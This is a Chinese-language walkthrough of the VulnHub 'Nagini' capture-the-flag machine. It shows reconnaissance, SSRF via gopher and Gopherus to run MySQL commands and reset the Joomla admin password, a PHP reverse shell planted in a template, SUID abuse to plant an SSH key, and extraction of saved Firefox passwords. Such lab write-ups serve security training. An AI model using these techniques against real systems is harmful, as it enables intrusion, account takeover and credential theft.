Nagini靶机之HTTP3协议、SSRF漏洞(Gopher + Mysql)、Joomla漏洞、SSH公钥登录、浏览器密码还原等利用方法

靶机: https://download.vulnhub.com/harrypotter/Nagini.ova

难度: 中→高(打点较难)

目标: 取得 root 权限 + 3 Flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • WEB信息收集
  • HTTP3协议
  • 域名绑定
  • SSRF漏洞(Gopher + Mysql)
  • Joomla漏洞
  • SSH公钥登录
  • 浏览器密码还原

一、主机发现

arp-scan -I eth0 -l

二、端口扫描

nmap -p- 10.1.1.226

nmap -p22,80 -sV -sC 10.1.1.226

三、WEB信息收集

1、路径爬取

dirsearch -u http://10.1.1.226/

发现joomlsCMS

对路径下的文件进行爬取

dirsearch -u http://10.1.1.226/ -f -e html,php,txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

kali linux默认没有安装seclists字典文件,需要手工安装命令如下

apt install seclists

通过爬取发现一个note.txt文件

提示说需要绑定一个域名来访问这个HTTP3的服务

四、域名绑定

编辑hosts文件

vi /etc/hosts

保存并退出,ping一下域名发现域名解析已经设置完成

访问http://quic.nagini.hogwarts/ 可以看到一张图片

五、HTTP3协议的使用

下载安装cloudflare客户端程序

git clone --recursive https://github.com/cloudflare/quiche #下载客户端 cd quiche #进入安装目录 sudo apt install cargo #安装cargo sudo apt install cmake #安装cmake组件 cargo build --examples sudo apt purge rustc curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 有个选项,选1 source $HOME/.cargo/env cargo build --examples cargo test cd target/debug/examples ./http3-client http://quic.nagini.hogwarts/

通过http3 协议发现一下路径以及提示说存在配置文件的备份文件(.bak)

http://10.1.1.226/internalResourceFeTcher.php

六、SSRF漏洞利用

通过这个页面可以访问内网资源,尝试访问passwd文件

file:///etc/passwd

访问成功,确定存在SSRF漏洞

gopher协议的使用

基于tcp对后端服务进行访问(前端需要有ssrf漏洞,后端有tcp协议的应用)

根据提示在网上找到joomls的配置文件的路径,构造.bak去访问下载备份文件

joomla/configuration.php.bak

七、joomla漏洞利用

通过配置文件可以看到一些有用的信息,包括数据库的用户名、数据库名、密钥等信息

使用gopher协议对服务器的3306端口进行访问,发现web一直在转圈,确定目标主机开放有mysql服务

通过工具,利用ssrf完成gopher协议向后端数据库发送指令的目的。

下载工具地址:

git clone GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

利用方式:

cd进入Gopherus

运行gopherus.py --exploit mysql

接下来提示输入mysql的用户名,通过刚才的配置文件可知用户名是 goblin

这一步是输入想要执行的指令,use joomla; show tables;

会得到一个编写好的脚本,利用这个脚本放到ssrf的位置

通过刚才提交的payload可以读取数据库表信息,多提交几次,有时候不显示

通过查看源码发现joomla中用户的表“joomla_users”,然后通过表名查看表里的信息

同样的方法查看user表里的内容,表里存在username、password等账号密码

尝试通过利用ssrf漏洞使用gopher协议,将password改成自己编辑的密码,通过更改的密码登录goomla

echo -n "abc" | md5sum

将abc生成一个md5值的密码,将joomla数据库中,joomla_users表中的site_admin的password字段的值更新为abc的MD5值

use joomla; update joomla_users SET password='900150983cd24fb0d6963f7d28e17f72' WHERE username='site_admin';

同样的方法将payload提交,多提交几次,以免没有更新成功

使用abc作为密码尝试登录joomla后台,并且登录成功

通过修改模板文件,实现命令执行

使用反弹的phpshell替换error.php文件里的信息

更改phpshell并替换

保存退出!

在kali开启监听,在浏览器访问http://192.168.0.111/joomla/templates/protostar/error.php

反弹成功

shell升级

/bin/bash -i

提权

在home目录存在snape用户,并且ls -al 查看到存在.creds.txt文件

.creds.txt文件包含一个bash64编码的密码,对bash64进行解密,获取到一个密码,并成功登录到snape用户

在snape用户下查看home路径,发现hermoine用户的主目录下有一个bin文件,bin文件下的su_cp文件拥有s权限,su_cp是copy的功能,并有hermoine所属权限

八、SSH公钥登录

在kali本机生成密钥对

ssh-keygen

通过ssh将id_rsa.pub公钥copy到目标服务器上

scp id_rsa.pub snape@192.168.0.111:~/

对公钥进行改成并赋予640权限,使用su_cp将公钥copy到hermoine的.ssh/路径下

完成以后,kali使用ssh利用公钥登录hermoine用户,不要密码

九、浏览器密码还原

在hermoine的家目录存在.mozilla文件夹,他是存放浏览器的信息的文件夹下面存在firefox浏览器,通过工具去查看浏览器的账户密码

将.mozilla文件夹copy到本地的tmp目录

scp -rp hermoine@192.168.0.111:/home/hermoine/.mozilla /tmp

使用工具进行提取浏览器密码

工具地址:

https://github.com/unode/firefox_decrypt

下载好以后unzip解压,进入目录以后执行

python3 firefox_decrypt.py /tmp/.mozilla/firefox

获取用户名密码,提权成功

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值